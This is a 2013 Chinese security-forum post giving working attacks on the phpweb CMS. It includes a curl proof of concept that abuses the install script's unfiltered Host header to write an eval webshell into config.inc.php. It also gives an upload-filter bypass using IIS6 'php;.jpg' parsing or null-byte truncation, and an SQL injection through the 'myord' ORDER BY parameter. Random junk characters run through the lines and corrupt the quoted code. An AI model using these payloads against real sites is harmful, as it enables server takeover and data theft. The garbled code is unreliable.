找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2261|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:
. ^; y2 q* k0 I- T5 p  l
6 h9 ^  f* j: z$ p- }之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码5 O& S' a& Z7 y2 k7 W
' i# O. y+ `% W) I0 R  R0 P
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件5 ?( l5 m, y: ~: K5 b4 }5 Q
鸡肋2: 有一定安全常识的站长都会删掉 install 目录+ O% w" d$ A0 I  i$ r
. s  y7 A6 _- [0 h1 _
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
7 v# l  O; r1 f, N, a+ [2 q7 `9 m/ A & k/ B6 g5 a9 K' f
分析:( q, P4 z) b/ t/ H, q0 A7 w; s

  w# ?9 Y$ K+ } * r2 m  s6 k7 v  B1 ?5 H
$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤
4 Y' j+ `, f' W# f / U6 C8 t/ W) Y3 c/ o6 w
                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);  L- X7 C) q# l+ ]  w: J
                                            $filestr=str_replace(" ","",$filestr);
4 L; u! Y3 \+ o1 k" X0 X; |                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);2 t- ]$ _3 z2 r. T
                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);
( c! Y% N) {, C- e  O2 C                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);; |# E0 ~; r+ M) L* r
                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
" L" ~) j5 v, }2 I" ~2 `& ^% F                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);
, p! M4 q) O, l1 X/ L                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);, d7 F2 m2 R6 Z3 Z
                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);5 _$ y6 M! ?3 e$ r5 `( v, ~
! P# E: a8 Z: S  z/ b
                                            fwrite(fopen($ConFile,"w"),$filestr,30000);
% F: n  Y; p" @& m1 s$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
# {% `- E6 I. r, f
, L$ _  n$ o' O3 {poc:3 W3 [# }: s0 a) \- j

' p8 Q4 g. @: ]( j- e! N7 ]/ C?$ `0 D$ Y* q3 }- ]: W3 i2 v0 v
18 ?; j, o- @+ C* W3 `' M5 G
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
2 w+ f" {# p: `" cshell地址: /config.inc.php
' d& a$ p: t0 Y5 t跟之前的 phpcms一样 需要远程数据库( S$ D# ~$ M4 a& h

. T+ @6 x* h6 ^& f——————————————————–$ \! C( W& L5 M0 O( `
上传漏洞(需要进后台):0 ?# t, I9 k5 P
漏洞文件: /kedit/upload_cgi/upload.php# P# W7 L' E0 l
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用4 K8 `2 `" R5 w, l; Z; ]
- ~" X! x4 [- ~0 D& \

2 u. f, O7 x# o. M$ H' ]0 t- \<?php. Z% h- F  j8 a! l! F* F
    define("ROOTPATH", "../../");
# A4 V" C, o9 }    include(ROOTPATH."includes/admin.inc.php");
) o$ t5 Z8 o8 C" {0 ]; `* a    NeedAuth(0);9 @0 [/ N* \" t6 l, W

6 R" X9 T& C; I+ f8 U- T1 H    $dt=date("Ymd",time());& ^  d) \: ^1 @2 B- \, @4 R
    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
/ Z' q$ @% f1 o$ O: e& f) _            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
% p' H/ `/ F/ E. c4 ?6 R    }0 @& ]4 w: c) ^  N& _; `

8 S6 n, Q. p( Q. @    //文件保存目录路径
- y( |; n4 n" r2 b$ K    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
! Q: K7 b; g' i$ o    echo $save_path;
2 W0 m9 f7 N. U, K: G, G    //文件保存目录URL9 _( A3 Z, }, g4 d( T7 V
    $save_url = '../../'.$_POST['attachPath'].$dt.'/';2 ^' l* c: T. y- x+ Z* ?

8 Q- ~6 f% _4 \5 F; v    //定义允许上传的文件扩展名
) r$ P9 b! a. P, v2 y+ d    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀
/ \4 a' \: `% @' a! p) G  f7 I. P  \   P8 r& }! {) l* K7 `: L. C! ]
    //最大文件大小
$ O; O* G9 h& @% l/ n  N# D( e, K$ u    $max_size = 1000000;- N, s' L- O$ _/ a+ T
( i9 K: }' T  c1 z
    //更改目录权限
* d$ d- Z4 F7 t1 Z    @mkdir($save_path, 0777);; Q: N. [; e  }  g1 a8 s" S

6 K. `, M) w  ]2 ~3 y    //文件的全部路径
& K, g( \+ v$ ^- @1 ]  O5 V- s    $file_path = $save_path.$_POST['fileName'];   //保存文件名4 X  j) p+ C1 b" _' z4 p
3 P0 C+ F0 i8 W5 k
    //文件URL6 i2 |% b: C3 t) Y9 A- L) @2 ]% J0 I
    $file_url = $save_url.$_POST['fileName'];
. c2 L9 V( l  v5 V8 D" f) K//有上传文件时
2 d8 T) @8 [& L# B! m5 W    if (empty($_FILES) === false) {' p6 u8 d4 ^. H# u' @

$ e8 _) ]* F2 Y6 R& L! z            //原文件名( w- r( o* x+ }
            $file_name = $_FILES['fileData']['name'];
4 d0 E% z+ z& m7 \            //服务器上临时文件名
; i2 f/ N, s, z5 W- z& }5 Y7 b8 X            $tmp_name = $_FILES['fileData']['tmp_name'];, ^( R3 E6 V- B4 T5 d& Y5 S
            //文件大小
  f( q! d% u6 i            $file_size = $_FILES['fileData']['size'];3 g2 E. g) M+ W3 L6 ]9 ?7 F: m
            //检查目录
, m, z: D0 g% `" ~0 S. P            if (@is_dir($save_path) === false) {* w1 d5 f; z6 \9 w/ T, z! g! Y+ I
                    alert("上传目录不存在。");
3 O& Z, Q& P! J7 [( h& }            }
3 H& R& A: {5 H8 |            //检查目录写权限
6 y: i7 `) e$ A) v0 U( J            if (@is_writable($save_path) === false) {
" m( U8 P; s- M3 ^                    alert("上传目录没有写权限。");
6 z# c+ y# V- F2 T" ]4 r- k: Z            }
, F' H: M7 {" B* O% S            //检查是否已上传
0 Z' r1 w& d& ^+ M5 x0 s7 Z% u! {/ w            if (@is_uploaded_file($tmp_name) === false) {
2 t. F  R3 t, G+ q/ Y4 m                    alert("临时文件可能不是上传文件。");
8 N4 u& I0 r1 G8 W* m/ B            }$ l$ d$ r9 |0 ?0 D4 z% A
            //检查文件大小
% |. l8 I. k) y4 P- o( Z/ E$ ~            if ($file_size > $max_size) {
9 H8 ^+ v' u7 N                    alert("上传文件大小超过限制。");9 R% V% z8 s, [* A" [+ W
            }+ o# Q/ M9 t; w3 r7 [- z( O
            //获得文件扩展名
! W0 ]. J4 R2 X2 n$ T, a7 q/ s            $temp_arr = explode(".", $_POST['fileName']);
; U, w* N( F3 i; ^5 I* L1 l$ b: b9 E  o            $file_ext = array_pop($temp_arr);
/ C; I  |3 @7 d4 G9 Z3 P+ n+ p# J            $file_ext = trim($file_ext);  C- {# |8 R* j# Q! f
            $file_ext = strtolower($file_ext);  i6 T  F( B% l5 x; I9 l9 [
( }; }& e% H# u# ?
            //检查扩展名   
, u/ X4 Q, F! r2 v2 q, b! b            if (in_array($file_ext, $ext_arr) === false) {     
$ Y8 n$ g0 w5 O* O# y" H) m                    alert("上传文件扩展名是不允许的扩展名。");
1 k1 R5 q: ^, \8 Q            }; _' F  z7 D( @' }# L% M

! N% a% a9 P' X8 G: ?. h            //移动文件   : _) y5 w, T& p
            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^) l: L, v- q3 T( l( l- }
            if (move_uploaded_file($tmp_name, $file_path) === false) {: B2 r# {! z" @  @/ H: i1 \# Z! ^
                    alert("上传文件失败。");& e3 j7 N" \) q3 F5 o# T% @# r
            }. y$ t+ g" B8 ]

  Z/ v% I, |- C7 z' K            @chmod($file_path,0666);
" j, g' ^1 [6 q- E
0 o; X( V. K4 J- R  a( }: W4 [# w# ]    ?>
/ F2 a2 f9 f+ o8 f' L抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
8 Q7 ]# [2 E/ @8 V
& t) c1 ^1 @$ z2 d1 f& ]8 wapache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过3 c+ _" X( }) |) [! G

$ }* S( J) D/ E7 [& f; H. J8 f/ ^——————————————————' `2 J+ S. |3 D* v
注入漏洞:& ~3 Y. d4 Z  A& x
漏洞文件:search/module/search.php
" s4 O5 L' g9 u" J( \0 R/search/index.php?key=1&myord=1 [sqlinjection]4 I' c4 y7 n5 D: z5 K* }- ]# c" ^
! A" s$ @8 w9 j9 i( |, h+ Y

* W1 y; b+ F: w% y* ^1 H4 ~" B<?php
7 y$ d  \( _/ a8 p, W7 A   //       ... 省略 n 行...+ l) U7 _! s) k, O  h
   //第18行:
. a8 U3 o' ?1 R( ^  ~6 z8 c           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响
+ h3 x0 G$ ~1 \& z2 o: M7 }; S           $page=htmlspecialchars($_GET["page"]);
' m+ |; `' i- `6 T; r0 j5 g           $myord=htmlspecialchars($_GET["myord"]);" E2 f2 F. E0 \% J' F
  L6 F: _  N; `
   //       ... 省略 n 行...' L5 A; R: g' b. C+ B
   $key,$myord 两个参数带入查询
2 i* b9 h3 Q( a   //第47行 $key:6 |0 @+ v* W1 g1 Z

4 h* c/ U6 S+ |! k7 W0 i   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..$ g* L  I9 D. L" D
3 a2 I  @1 W+ |% p3 `
   //第197行 $myord& y; j4 T$ W8 A$ I
   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入2 K, [2 q* ?3 p3 C3 p3 u2 L2 j
  t# u6 g; v/ ~& J& R+ y8 f% [
   ?>
5 I0 [5 E4 R$ ^1 `
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表